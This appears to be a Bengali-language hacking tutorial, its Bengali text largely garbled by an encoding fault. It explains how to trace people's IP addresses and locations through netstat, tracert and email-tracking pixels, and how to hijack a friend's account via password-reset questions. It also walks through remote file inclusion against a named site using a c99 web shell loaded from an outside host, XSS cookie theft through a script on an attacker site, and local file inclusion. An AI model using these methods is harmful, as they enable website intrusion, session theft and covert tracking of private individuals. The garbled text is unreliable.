2Network ফযফাযকাযীয ফসথান খচছজ সফয কযা পরকততটা IP Address একটা কতনকতদব িসথানচছক কতনচছদব কচছয তাআ অকতন সকান জাযগা সথচছক Network ফযফায কযচছছন এটা IPAddress-এয ভাধযচছভ জানা মায IP Adderss-গচছরা র Binary Number কতকনত সফাঝায কতফধায জনয এগচছরাচছক ভানচছলয ঠনচছমাগযংচছকত (কষয ফা ংখযা) কতদচছয পরকা কযা চছয থাচছকIP Address-এয Version
যাকাযচছদয জনয একটি কতত গরতবণব কতজকতন চছে এআ IP Address সমচছত IPAddress-এয ভাধযচছভ Network
ফযফাযকাযীয সথান জানা মায তাআ যাকাচছযয জনয IP Addressরকতকচছয যাখা খফআ জরযী একটা কাজ নাচছর যাকাচছযয ফসথান পা চছয মাযায একটা চানস থাচছক
অনায কতনচছজয অআকত এচছে সদখা
পরথচছভ Start-gtRun-gtখাকতর ঘচছয কতরখন cmd এফায কী-সফাডব সথচছক এনটায চানএকটি কভানড একতযযা সদখচছত াচছফন সখাচছন কতরখন netstat ndashn এনটায চান একটি কতরে অনায াভচছন অচছফ সরাকার এচছেচছয কতদচছক সখযার করন সমটি পরথচছভ অচছফ সটিআ অনায অআকত এচছে কতিতীয কতনযভ অনায বরাউজাচছযয এচছে ফাচছয কতরখন wwwwhatismyipcom
একটি চছযফাআট খরচছফ সখাচছনআ ফি কষচছয অকতন অনায ফতব ভান অআকত সদখচছত াচছফন কতনচছচয কতরেটি ভচছন যাখন যফতীচছত কাচছজ রাগচছফ
ftpmdash-gt21smtpmdashgt25dnsmdash-gt53httpmdashgt80httpsmdash-gt81pop3mdash-gt110telnetmdashgt23
নামবাযগচছরা চছে সাটব নামবায এ িচছকব চছয সকান এক ভয অচছরাচনা কযা চছফ
সকান চছযফাআচছটয অআকত সফয কযায কতনযভ
মকতদ অকতন সকান চছযফাআট ফা সকান ফযকতিয একাউনট ফা তায কতকত যাক কযচছফন তাচছর ফপরবথভ সম কাজটি কযচছত চছফ তা চছে তায অআকত এচছে ংগর কযা মতকষন মনতব না অকতন তায অআকত এচছে সফয কযচছত াযচছছন ততকষন মনতব অকতন তায কতক আ ফা কযচছত াযচছফন এখন অনাচছদয সদখাকতে সমবাচছফ সকান চছযফাআচছটয অআকত এচছে সফয কযচছফন
পরথচছভ Start-gtRun-gtখাকতর ঘচছয কতরখন cmd এফায কী-সফাডব সথচছক এনটায চানএকটিকভানড একতযযা সদখচছত াচছফন সখাচছন কতরখন tracert websitename এনটায চান এখন কতকছ তথয সবযংকতকরযবাচছফ অনায াভচছন অচছফ অকতন সখাচছন নীরযংচছযয কতকছ সরখা সদখচছত াচছফন অকতন সখাচছনআ অনায কাকতিত অআকত এচছে টি সদখচছত াচছফন নীর সরখাগচছরায পরথভ রাআচছনআ অকতন অআকতটি সদখচছত াচছফন কতিতীয রাআন এবাচছফ চছফারচব ৩০টি হ সদখচছত াচছফন
হচছয ফযাখযা
মখন অকতন সকান চছযফাআচছট পরচছফচছয সচষঠা কচছযন তখন অকতন সবযংকতকরযবাচছফ কতকছতথয সআ চছযফাআচছটয কাচছছ সপরযন কচছযন মায পরকততউততচছয সআ চছযফাআটটি অনায কাচছছ কতকছ তথয সপরযন কচছয (মায পরাপর সবর অকতন চছযফাআট টিচছক সদখচছত ান)এআ পরকতকরযাটি চরচছতআ থাচছক ভচছন করন অকতন কভানড একতযযায কতরখচছরন tracert yahoocom
তখন অনায এআ তচছথযয যাচছকজটিগগচছরয াবব াচছয (চছমখাচছন তথয জভা থাচছক) মাচছফ গগর অনাচছক এয পরকততউততযাঠাচছফ সমচছত গগর একটি ফি াআট সচছত এয চছনকগচছরা াবব ায যচছযচছছতযাং পরকততউততযগচছরা সকর াবব ায সথচছকআ অচছ এফায অকতন অনায কভানড একতযযায রকষ করন সখাচছন চছফারচব ৩০টিয ভত অআকত হ যচছযচছছ এতগচছরা অাযভাচছন চছে গগর তায মতগচছরা াবব ায সথচছক অনায কাচছছ তথয সপরযন কযচছছ সআ াবব াযগচছরায অআকত হআ অকতন সদখচছত াচছেন
কভানডএকতযযায অকতন ধযচছনয কতকছ কতচন সদখচছত াচছফন এয ভাচছন চছে এআ সম সসথানগচছরাচছত পাযাযযার সথান কযা যচছযচছছ মাচছত কচছয সম সকউ চছজ অকরভনকযচছত না াচছয
াধাযন বর-ধাযনা
চছনচছকআঅচছছন মাযা ভচছন কচছযন সম আনটাযচছনট সথচছক সকান উরচকষভতা িনন সপকব াতযতথয ফা তথযাকতদ সদখা ফা জানা মায না অচছর এটি বর ধাযনা ভচছন করন আনটাযচছনচছট চছনচছকআ টপাআর ফা সযকতডচছযাচছযয কতপরকতভযাভ একাউনট সদয মাচছথচছক অকতন উকত ন কতকনত ভযা চছে অকতন জাচছনন না এআ একাউনট সকাথা সথচছক সদযা চছযচছছ অকতন আচছে কযচছরআ এফ তথয জানচছত াচছযন
মখন অকতন কভানড একতযযায সকান চছযফাআচছটয কতফযীচছত nslookup কতরচছখ এনটায কতদচছফনতখন যত এযকভ সরখা অচছত াচছয সম You are now authentized to this route
এযকভ কতকছ সরখা সদখচছরআ অকতন ফচছঝ সনচছফন সম আ চছযফাআচছট সপকব াতয তথযযচছযচছছ আ চছযফাআট িচছকব কতফসতাকতযত জানচছত অকতন কতনচছচয চছযফাআটগচছরাফযফায কযচছত াচছযন
wwwsamspadecomwwwdnsstuffcomwwwwhoisnet wwwwhois ঐ কর চছযফাআচছট শধভাতর চছযফাআটটিয নাভ কতদচছযআ অকতন এযঅআকত সথান ভাকতরচছকয নাভ কচছফ সকনা চছযচছছ সভযাদ কত কতদচছনয নদকতনক কতবকতজটযংখযা সনভ াবব ায আতযাকতদ কতফকতবনন তথয জানচছত াযচছফন তথয সজাগাি কযাএকজন যাকাচছযয পরাথকতভক কাজ এটি না কযচছর অকতন কতকছআ কযচছত াযচছফন না
কতরচছখচছছনঃ সভচছকতদ াান
আচছভআর দাতায অআকত ননধান
অনায সভআরফকস খরন তায সথচছক সমচছকান একটি আচছভআর খরন Reply-সত কতিককরন এফায Show original এ কতিক করন এখন সম তথযগচছরা অচছফ সগচছরা খফবাচছরাবাচছফ সখযার করন সখাচছনআ অকতন যত আচছভআর দাতায অআকত সদখচছত াচছফন কতকনত gmail সথচছক মকতদ সকউ অনাচছক সভআর কচছয তাচছর এআ িকতত নাচছয অকতন অআকত খচছজ াচছফন না এখন উায যা যা কতসথয চছফন না একষকতন তা ফরকতছ
অচছর ভর ফযাাযটি চছে gmail ফভয https ফযফায কচছয অভযা াধাযনত চছযফাআচছটয এচছেচছ সদখচছত াআ http মায িণব র চছে Hyper Text Transfer Protocol অয https চছে এআ http এয secured র অা ককতয ফঝচছত সচছযচছছন মায কাযচছনআ কতজচছভআচছর অকতন অআকত খচছজ াচছফন না এখন সমআ িকততটিয কথা অনাচছদয ফরফ সটি চছে পরায ফ ধযচছনয আচছভআর এচছে (আযাহচছভআর কতজচছভআর এভএএন আতযাকতদ) সথচছক অআকত সফয কযায িকততপরথচছভআ httpreadnotifycom াআটটি খরন এযয এখাচছন সযকতজচছেন করনএখন অকতন মায আচছভআর এচছে ননধান কযচছত চান তায ফযাযফ একটি সভআর কতরখন এফায আচছভআর ট সকন একতযযায কতরখন
victimlsquosemailidrednotifycom াঠিচছয কতদন মখন স আচছভআরটি িচছফ তখন সবযংকতকরযবাচছফ অনায কতযডচছনাটিপাআ একাউচছনট তায অআকত চচছর অচছফ অচছর কতযডচছনাটিপাআ একটি সবযংকতকরয রকাচছনা ছকতফ অনায আচছভআচছরয াচছথ ঐ ফযাকতি ফযাফয াঠিচছয সদয মায পচছর অকতন তায অআকত সচছয মান িকততটি খফ কাচছজয
ঐ চছযফ াআড টি ছনদ না চছর গচছরা ফযফায কযচছফনঃ
httpwwwdidtheyreaditcom
httpwwwpointofmailcom
ফসথান ননধান অভযা সতা অআকত সরাভ এফায সদখফ কতকবাচছফ ঐ ফযাকতিয ফসথান িচছকব জানা মায থবাৎ ফযাকতিটি সকান সদচছয সকান চছয অচছছ তা জানাপরথচছভআ httpwwwip2locationcom াআটটি খরন এআ াআটটিয খাকতর ঘচছয অনায কাকতিত অআকত এচছেটি ফকতচছয কতদন অয ভজা সদখন
অকতন মায াচছথ চযাটিং কযচছছন তায ফসথান জানা
অকতন মায াচছথ চযাটিং কযচছছন তাচছক তায অআকত মবচছনধ কতজচছগয করন সফরচছর সতা ফরচছত চছফ অনায বাগয পরনন অয না ফরচছর কতক কযচছফন একট চছকষা করন ফরকতছ এখাচছন একটি ফযাায উচছেখ কযায ভত অয তা চছে অচছগ অভযা একটি কভাচছনডয াচছথ কতযকতচত চছযকতছরাভ netstat -n এয কথা ভচছন অচছছ যা এআকভানডটি খফআ গরতবণব অকতন আনটাযচছনচছট মতগচছরা কাচছনকচছনয াচছথ মি অচছছন ঠিক ততগচছরায তথযআ এআ কভানডটিয ভাধযচছভ াযা মাচছফ অচছযকট সবচছে ফরকতছ ধরন ভচছন করন অকতন সপফচছককতজচছভআচছর এফং সটকটিউনচছ একআ চছে পরচছফকচছয অচছছন উচছযয কভানডটি এআ কততনটি াবব ায িচছকব আ অনায কাচছছ তথযাপলাআ কযচছফ ফতব ভাচছন আনটাযচছনচছট এক এক ফযাকতি চযাটিং এয এক এক নথাফযফায কচছয সমভন ICQ Messenger
MSN Messenger Yahoo Messenger Gtalk Meebo Gigsby AIM আতযাকতদ তাচছর ফঝন কতটক ঝাচছভরায কাজ কযচছত মাচছেন অকতন অয এ কাযচছনআ কতনচছচ ধাচছ ধাচছ কচছযকটি সকষতর সদযা র রকষকরন
সকষতর-১ মকতদ অকতন ICQ Messenger এ চযাট কচছযন অয সখাচছনয কায ফসথান জানচছত চান তাচছর এ িকততটি কাচছজ রাগান ICQ Messenger এয কাজ কযায ধযন চছে (অকতন-gtঅনায ফনধ-gtঅকতন) এআবাচছফ তাআ কায অআকত ংগর কযাএচছকষচছতর খফ জ কাজ ভচছন করন অকতন কায অআকত জানচছত চাচছেন তাচছর তাচছক কতট করন কতকনত চযাটিং শর কযচছফন না এফায Start-gtRun-gtcmd-gtnetstat -nএনটায কতদন সম অআকতগচছরা অচছফ তা সকান যাপ কাগচছজ কতরচছখ যাখন এফায অকতন তায াচছথ চযাটিং অযমভ করন অফায Start-gtRun-gtcmd-
gtnetstat -nএনটায কতদন এফায অকতন সখাচছন নতনএকটি অআকত সদখচছত াচছফন অয এআ ফযাকতিয াচছথআঅকতন এখন চযাটিং এ ফযাসতএফায কতকবাচছফ তায ফসথান সফয কযচছফন তা কতনশচযআ অয ফচছর কতদচছত চছফ না
সকষতর-২
Yahoo Messenger MSN Messenger GTalk Messenger এয সকষচছতর উচছযাি সভচছনজাযগচছরায কাজ কযায ধযন চছে (অকতন-সভচছনজাচছযযাবব ায-অনায ফনধ) এআবাচছফ এখাচছন মকতদ অকতন সকষতর-১ এয িকতত কাচছজ রাগান তাচছর অকতন সভচছনজাচছযয অআকত াচছফন ফযাকতিয না এআচছকষচছতর অকতন চারাচছত াচছযন সাযার আকতনজকতনযাকতযং মকতদ এটা কতনচছয যফতী ধযাচছয অচছরাচনা চছফ তথাকত এখাচছন কতকছ কতযকতচকতত সদযা চছে সাযার আকতনজকতনযাকতযং চছে কাউচছক সফাকা ফাকতনচছয তাচছক যাকতকং কযা অয এআ সভচছনজাচছযয সকষচছতর (ভচছন যাখচছফন কতধকাং সভচছনজাযআ এআ কাজটি কচছয থাচছক) অকতন অনায াচছথ চযাটিংকত ফযাকতিটিচছক ফরন অনায কাচছছ সকান পাআর াঠাচছত ফা তাচছক অকতনকতকছ াঠাচছত াচছযন সটা চছত াচছয সকান ছকতফ ফা অনায ছকতফ মকতদ স যাকতজ য তাচছর সকষতর-১ এয িকতত চাকতরচছয মান মখন অকতন তায াচছথ চযাটিং কযচছফন তখন অকতন কততকতযি সম অআকত এচছেটি সদখচছত াচছফন সটি চছে সভচছনজাচছযযঅআকত অয মখন স অনায কাচছছ সকান কতকছ াঠাচছফ তখন অচছযকটি নতন অআকত সদখচছতাচছফন সটি চছে তায অআকত এছািা অয একটি উায অচছছ তা র অকতন তাচছক অনায কাচছছ একটি সভআর াঠাচছত ফরচছত াচছযন মখনআ স সভআর াঠাচছফ অকতন কতযডচছনাটিপাআ িকতত চাকতরচছয মান মা অচছগ ফরা চছযচছছ সকান পরশন
সকষতর-৩
Meebo Gigsby Trillion আতযাকতদ ভাকতি চযাটিং আকতনজচছনয সকষচছতর এচছকষচছতর সকান িকতত সনআ শধ এতটকআ কযা মায তা র অকতন ফরচছত াচছযন অনাচছক সভআর কযচছত অয অকতন কতযডচছনাটিপাআ িকতত চারাচছত াচছযন অচছর কায অআকত াযা সতভন কঠিন কাজ নয অয এটা সতভন ফি ধযচছনয কাজ নয অআকতএচছেচছয ফযাাচছয ফরচছত সগচছর চছনক কথা ফরচছত য অআকত এচছে যচছযচছছ কতফকতবনন ধযচছনয অফায সখাচছন াফচছনট অআকতড এফং সাে অআকতড নাভক ফযাায যচছযচছছ এছািা অকতন একটি চছযফাআট শধ অআকত এচছে কতরচছখআ পরচছফ কযচছত াচছযন মকতদ সখাচছন সকসা টরানসপায এফং সকাসটরা টরানসপায নাভক ব
কতরচছখচছছনঃ সভচছকতদ াান
সাযার আকতনজকতনযাকতযং শধভাতর আনটাযচছনট জগচছতয াচছথআ মি নয ফযং তাঅভাচছদয সবাবাকতফক জীফনমাতরায াচছথ জকতিতঅকতন সকান সভচছযয াচছথ দ-নমবকতয (জ ফাংরা ফযফায কযরাভ-কতকছ ভচছন কযচছফন না) কযচছর সটা চছফ সাযার আকতনজকতনযাকতযং কতনচছজয কাচছমািব াচছযয জনয চছযয কাচছছ কতভথযা ফরচছর সটা চছফ সাযার আকতনজকতনযাকতযং ভরত কতনচছজয কাচছমািব াচছযয জনয চছযয সকান র কষকততাধন কযাচছকআ ফচছর সাযার আকতনজকতনযাকতযং
অনায ফনধয একাউনট যাকতকং কযচছত চাআচছর Forget password এ কতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐ কর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযনচছতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয
মখন সটকতরচছপান পরথভ অকতফষকত র তখন কতফচছশবয পরথভ যাকায সটকতরচছপাচছনয ফযফাযকতফকতধ খফবাচছরাবাচছফ মচছফকষবন কযর স সদখর সম মখন অভযা কাউচছক করচছদআ তখন এআকরটি পরথচছভ সটকতরচছপান কতপচছ মায চছয কাকতিত ফযাকতিটিয কাচছছ মায তখনযাকায কতকছ চকচছরট নতযী কচছয তায চছকচছট যাখর াচছথ যাখর একটি ফাকতস এআ ফরর সম চকচছরচছটয াচছথ এটা একটি কতগফট এফায ভানচছলযা এফং তাচছদয ফারচাযা ফাকতগচছরা িাযা য তরচছত রাগর মায পচছর কতি র একধযচছনয তযে মা সটকতরচছপান াবব াচছযয তযচছেয ভত এটাআ যফতীচছত যাকাযচছদয াযাকতফচছশব কতফনাভচছরয কর কযচছত াাময কযর
িণব পরকযাটি রকষ করন স শধ কতনচছজয কতচনতা কাচছজ রাগার এফংএকটি সছাটফাকত নতযী কযর তাচছর সদখন সাযার আকতনজকতনযাকতযং খফআগরতবনবঅকতন সকান কতকছচছক ফি কযচছত চছর সাযার আকতনজকতনযাকতযং এযাাময ফযাকতততমভফ নয
অনায ফনধয কব ট একাউনট যাকতকং কযচছতচাআচছর Forget password একতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐকর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযন সতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয
মিািযা িআসজজসিোসরিংমের লসিলাী িিংজঞা
ভানলকতক বাচব যার জগচছত মাকতচত কাজ সমভন সকান কচছবাচছযট কতপচছয সনটযাচছকব পরচছফ তাচছদয নরাআন কতকতকউকতযটি পাযাযযার একাউনট আতযাকতদ কতনকতফিবাচছফ মচছফকষবন কচছয তাচছত অকরভন কযা এচছকষচছতর কতফকতবনন ধযচছনয পটযযাচছযয াাময সনযা মায ফা কতনচছজয ফানাচছনা সকান াডব যযায ফা সকাকতডং কাচছজ রাগাচছনা মায
ভচছন করন অনায আচছভআচছর এর এযকভ একটি ফাতব া সম Congrats You have got 100000 free visitor CLICK
HERE for withdraw এবাচছফ পরকততকতদন ভগর কতফচছশব াজায াজায ভানল তাচছদয সকরকতডটকাচছডব য তথয কতফকতবননগরতবণব তথয নরাআচছন জভা কতদচছে অয যাকতকংচছযয কতকায চছে সাযার আকতনজকতনযাকতযং কতনচছনাি কচছযকটি বাচছগকতফবি
ndashgtimpersonation
mdashgtposing as imp user
mdashgt3rd person approach
mdashgttechnical support
কসিউটার সভসিক মিািযা িআসজজসিোসরিং
কতনচছচয কচছযকটি বাচছগ কতফবি
ndashgtmailim attachments
ndashgtpop up windows
mdashgtsweepstakes
mdashgtspam mail
এআ ধযাচছযয এখাচছনআ ভাকতি ভচছন যাখচছফন সকান কাজ কযায অচছগ এয সাযার আকতনজকতনযাকতযংচছযয ফযাযটি খফ বাচছরাবাচছফ নধাফন কযা উকতচত মখন অভযা কায আচছভআচছর সকান কতকছ াঠাআ এফং স মকতদ কতকছ াঠায সটাআ সাযার আকতনজকতনযাকতযং অয এবাচছফআ অভযা সাযার আকতনজকতনযাকতযং কাউচছক সটরাজান ফা কী-রগায াঠাচছত ফযফায কযফ ফাআ খফ বাচছরা থাকচছফন
কতরচছখচছছনঃ সভচছকতদ াান
অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip
Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন
mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash
mdashmdashmdashmdashmdash
সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip
httpwwwtargetsitecomindexphppage=Anything
উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ
ldquoinurlindexphppage=rdquo
উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ
ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন
httpwwwtargetsitecomindexphppage=wwwgooglecom
এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip
httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom
তাচছর এটি সদখাচছফhellip
এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip
এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip
httph1ripwaycomtjunselectedc99shellphp
এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp
এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন
তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না
কতনফবাকতচতটিউনাযtrade
XSS কতক
XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web
Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয
ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600
xss-threat3jpg
XSS Vulnerability and Injection
যাপ ১ Vulnerable মেব িািআট োমজ মবর করা
অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks
ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=
তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন
যাপ ২ Vulnerability পরীো করা
এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন
না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password
Vulnerability যীকষা কযা জনয দটি িকতত অচছছ
পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয
http2bpblogspotcom-
8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg
পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here
যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন
এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-
পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন
সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=
এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable
যাপ ৩ Malicious Scripts মদো
Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ
এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ
httpattackerSitemaliciousjs
এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ
এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ
িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent
Persistent XSS
এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage
Non-Persistent XSS
এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily
একজি হযাকার এিআ Vulnerability সদমে সক কমর
কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা
চছযফ াআচছটয Bypassing restriction
Session Hijacking Malware Attack
Website Defacement Dos attacks
কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর
শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম
অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে
যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক
LFI
যাকাযচছদয
একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র
Local File Inclusionঅজ
অনাচছদয
াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য
পরথচছভ
কতনচছচয PHP সকাডগচছরা
সদখনhellip
$page=$_GET[page] include($page)
gt
উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক
কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ
wwwmywebsitecomindexphppage=productsphp
অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম
এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র
wwwmywebsitecomindexphppage=mypagephp
এখাচছন
সদচছখন mypagephp াতাটি
াবব াচছয
সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-
Warning
include() [functioninclude] Failed opening mypagephp for
